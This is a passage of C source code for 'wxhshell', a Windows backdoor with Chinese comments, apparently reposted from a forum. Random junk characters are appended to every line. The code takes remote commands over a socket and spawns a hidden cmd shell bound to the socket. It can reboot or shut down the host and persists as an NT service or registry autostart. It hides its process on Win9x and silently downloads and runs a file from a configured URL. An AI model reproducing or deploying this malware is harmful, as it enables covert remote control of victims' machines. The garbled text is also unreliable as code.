  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =X7_!vSv  
  } 9^@)R ED  
  else { ;*WG9Y(W  
-! ^D8^s  
    switch(cmd[0]) { rl]K :8*  
  Y} 6@ w  
  // 帮助 Zr[B*1,ZV  
  case '?': { `Ay:;I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #@F.wV0  
    break; &_74h);2I:  
  } ~yJJ00%  
  // 安装 w@LLxL>Y  
  case 'i': { Gr#WD=I-}  
    if(Install()) ;3o7>yEv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <6X*k{  
    else e0hY   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gj I>tz}  
    break; HEw&'  
    } ~ 7<M6F  
  // 卸载 I+ Y{_yw"f  
  case 'r': { BAtjYPX'w  
    if(Uninstall()) jwP5pu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6"R'z#{OF  
    else 9dWz3b1[]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `\f 3Ij,  
    break; 9*r^1PRc  
    } cZ#%tT#  
  // 显示 wxhshell 所在路径 F6aC'<#/  
  case 'p': { KtGbpcS$f  
    char svExeFile[MAX_PATH]; :[7O=[pk  
    strcpy(svExeFile,"\n\r"); rR 86D  
      strcat(svExeFile,ExeFile); 1xInU_SPf  
        send(wsh,svExeFile,strlen(svExeFile),0); #/{3qPN?@  
    break; BvUiH<-D  
    } Y=5P=wE  
  // 重启 3 FV -&Y  
  case 'b': { F< XOt3VY.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QW tDZ>  
    if(Boot(REBOOT)) (e0(GOqf4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KC)}M zt6_  
    else { r-.>3J  
    closesocket(wsh); 6@eF|GoP  
    ExitThread(0);  :>U+HQll  
    } E;[Uhh|78!  
    break; dT[JVl+3=  
    } pTXF^:8  
  // 关机 A0:rn\$l3  
  case 'd': { W#=,FZT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W1EYVXN  
    if(Boot(SHUTDOWN)) Nd&UWk^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XK})?LTD  
    else { Keem \/  
    closesocket(wsh); ZJ.an%4  
    ExitThread(0); SMzq,?-`  
    } PcqS#!t  
    break; *ifz@8C }  
    } 5{Q9n{dOh  
  // 获取shell p4 =/rkq  
  case 's': { FRQ0t!b<M1  
    CmdShell(wsh); K6sXw[VC[  
    closesocket(wsh); w)`XM  
    ExitThread(0); @\o"zU  
    break; I2Imb9k~B  
  } iaLZ|\`3a  
  // 退出 PjH'5Y  
  case 'x': { Wky9w r:g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @5ud{"|2  
    CloseIt(wsh); 2`TV(U@  
    break; c+ e~BN  
    } AV7#,+p%G  
  // 离开 cqSXX++CS,  
  case 'q': { _{-[1-lN5_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }>d  
    closesocket(wsh); }}i'8  
    WSACleanup(); G]4Ca5;Z!N  
    exit(1); m(*rMO>_  
    break; o]RZd--c<  
        } b $J S|  
  } @Z2np{X:  
  } D:f=Z?L)>  
Od)y4nr3~  
  // 提示信息 gdA2u;q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =/`]lY&  
} (zsv!U  
  } F"UI=7:o  
40pz<-B  
  return; D>-r `  
} "RN] @p#m  
8-Y*b89  
// shell模块句柄 L!lmy&1  
int CmdShell(SOCKET sock) P_w4 DU  
{ 3%5a&b  
STARTUPINFO si; p@nj6N.--  
ZeroMemory(&si,sizeof(si)); {:|3V 7X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f:ObI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /s} "0/Y\  
PROCESS_INFORMATION ProcessInfo; {(!JYz~P  
char cmdline[]="cmd"; 1P*hC<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kDMvTVd  
  return 0; HE%/+mZN  
} bWAa: r  
q\]X1N  
// 自身启动模式 r9OgezER  
int StartFromService(void) JE7m5k Ta  
{ f?51sr  
typedef struct dGn 0-l'q  
{ eqsmv [  
  DWORD ExitStatus; 6]Is"3ca  
  DWORD PebBaseAddress; ; Byt'S  
  DWORD AffinityMask; ]i@73h YT  
  DWORD BasePriority; }`g-eF >p  
  ULONG UniqueProcessId; mXOI"B9Sq  
  ULONG InheritedFromUniqueProcessId; ]i$0s  
}   PROCESS_BASIC_INFORMATION; L_RVHvA=M/  
jr?/wtw  
PROCNTQSIP NtQueryInformationProcess; HFZ'xp|3dn  
9`*Eeb>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H8FvI"J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w9G|)UDib  
ekL;SN  
  HANDLE             hProcess; IBo  
  PROCESS_BASIC_INFORMATION pbi; <D~hhGb  
T \uIXL?3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W.MZN4=  
  if(NULL == hInst ) return 0; _huJ*W7lR  
wW1VOj=6V"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {zvaZY|K"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m^}|LB:5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Cl<!S`  
P:4"~ ]}  
  if (!NtQueryInformationProcess) return 0; M7cD!s@'I  
8qg%>ZU4d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C$TU TS  
  if(!hProcess) return 0; ou<3}g  
XGR2L DR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s@@Km1w  
A-T-4I  
  CloseHandle(hProcess); w\o6G7  
W~;Jsd=f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u9OY Jo  
if(hProcess==NULL) return 0; AX8~w(sv  
6/mz., g2  
HMODULE hMod; -je} PwT  
char procName[255]; b;UBvwY_  
unsigned long cbNeeded; k773h`;  
{x_.QWe5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0N$7(.  
UpGDLbf^  
  CloseHandle(hProcess); 5MB`yRVv  
/=m AVA  
if(strstr(procName,"services")) return 1; // 以服务启动 (yq e 4  
DJ,LQj  
  return 0; // 注册表启动 i *.Y  
} >,{s Fc  
g2|Myz)  
// 主模块 <J&S[`U!  
int StartWxhshell(LPSTR lpCmdLine) ,SR7DiYg  
{ dgkS5Q$/  
  SOCKET wsl; k56Qas+3=  
BOOL val=TRUE;  n?EgC8b9  
  int port=0; KUUA>'=  
  struct sockaddr_in door; K>$f#^  
!Zj ]0,^  
  if(wscfg.ws_autoins) Install(); pY"WW0p"C  
(w hl1  
port=atoi(lpCmdLine); `|ie#L(:7/  
<#C,66k  
if(port<=0) port=wscfg.ws_port; ][$I~ nRf  
9E2iZt]  
  WSADATA data; RVatGa0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3 }fOb  
CLrX!JV>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \9VF)Y.ke  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q6qW?*Y  
  door.sin_family = AF_INET; (4+P7Z,Nc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E{|B&6$[}  
  door.sin_port = htons(port); H`CID*Ji  
lI=<lmM0|/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (SBhU:^h  
closesocket(wsl); 90<g=B  
return 1; {-\U)&6#v  
} MNd\)nX  
."$t&[;s  
  if(listen(wsl,2) == INVALID_SOCKET) { - eG~  
closesocket(wsl); 2IJK0w@  
return 1; H{*D c_  
} :25LQf^nz  
  Wxhshell(wsl); 7Bp7d/R-  
  WSACleanup(); 2 |je{  
t5-O-AI[b{  
return 0; k8w\d+!v  
8z#Qp(he  
} F^u12R)  
>NKJ@4Y  
// 以NT服务方式启动 x s{pGQ6Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f jx`|MJ  
{ Z>9@)wo  
DWORD   status = 0; ,dIev<  
  DWORD   specificError = 0xfffffff; xqG<R5k>>  
bE_8NA"2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qiNVaV\wr|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g_Z tDxz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L.HeBeO  
  serviceStatus.dwWin32ExitCode     = 0; puC91  
  serviceStatus.dwServiceSpecificExitCode = 0; :>1nkm&Eg  
  serviceStatus.dwCheckPoint       = 0; ==dKC;  
  serviceStatus.dwWaitHint       = 0; MET9rT  
YMX9Z||  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e}UQN:1  
  if (hServiceStatusHandle==0) return; RuPnWx!  
.Kb3VNgwvm  
status = GetLastError(); HuevDy4  
  if (status!=NO_ERROR) `L'g<VK;  
{ RxP H[7oZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  /|0-O''  
    serviceStatus.dwCheckPoint       = 0; BX >L7n  
    serviceStatus.dwWaitHint       = 0; sey,J5?  
    serviceStatus.dwWin32ExitCode     = status; \vA*dQ-  
    serviceStatus.dwServiceSpecificExitCode = specificError; hYW9a`Ht/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }|DspO  
    return; 1t  R^  
  } Qm%PpQ^Lz3  
|bY@HpMp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1$>+rW{a  
  serviceStatus.dwCheckPoint       = 0; |[*Bn3E:  
  serviceStatus.dwWaitHint       = 0; f>N DtG.6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %2\Hj0JQQ  
} `z&#|0O  
#a8kA"X  
// 处理NT服务事件,比如:启动、停止 .IeO+RDQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bKQho31a'  
{ M-o'`e'  
switch(fdwControl) WMB%?30  
{ 2*: q$c  
case SERVICE_CONTROL_STOP: yb`PMjj15  
  serviceStatus.dwWin32ExitCode = 0; FZHA19Kb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !jj`Ht)  
  serviceStatus.dwCheckPoint   = 0; P%3pM*.  
  serviceStatus.dwWaitHint     = 0; 8z9 {H  
  { p `"k=tZ{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aB ,-E>+  
  } 5'zXCHt  
  return; }Le]qR9Y]  
case SERVICE_CONTROL_PAUSE: U$OZkHA[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 39X~<\&'  
  break; `b?uQ\#-M  
case SERVICE_CONTROL_CONTINUE: 4b;Mb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =oBpS=<7  
  break; KdVKvs[  
case SERVICE_CONTROL_INTERROGATE: l=~!'1@L}  
  break; YF5}~M ymF  
}; MEDh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); / F0q8j0  
} ^""edCs  
Vj*-E  
// 标准应用程序主函数 ^CkMk 1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H1bR+2s  
{ ]fyfL|(;  
V1aP_G-:  
// 获取操作系统版本 hOj{y2sc  
OsIsNt=GetOsVer(); @62T:Vl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '}.Yf_  
5ya9VZ5#  
  // 从命令行安装 fkV@3sj  
  if(strpbrk(lpCmdLine,"iI")) Install(); gaF6 j!p  
o<G 9t6~  
  // 下载执行文件 }9fa]D-a?  
if(wscfg.ws_downexe) { /_C2O"h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7N$2N!I(  
  WinExec(wscfg.ws_filenam,SW_HIDE); 98[uRywI  
} B~Sj#(WEa  
&LLU@|  
if(!OsIsNt) { &uq.k{<p\  
// 如果时win9x,隐藏进程并且设置为注册表启动 &K^0PzWWof  
HideProc(); UC!mp?   
StartWxhshell(lpCmdLine); fQ<sq0' e\  
} RZa/la*  
else zm_8a!.  
  if(StartFromService()) feej'l }F  
  // 以服务方式启动 2dn^K3  
  StartServiceCtrlDispatcher(DispatchTable); f}:C~L!  
else a'J0}j!  
  // 普通方式启动 +-izC%G  
  StartWxhshell(lpCmdLine); LF dvz0  
L:i&OCU2k  
return 0; >*-%:ub  
}
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只看该作者 1 发表于: 2006-10-10
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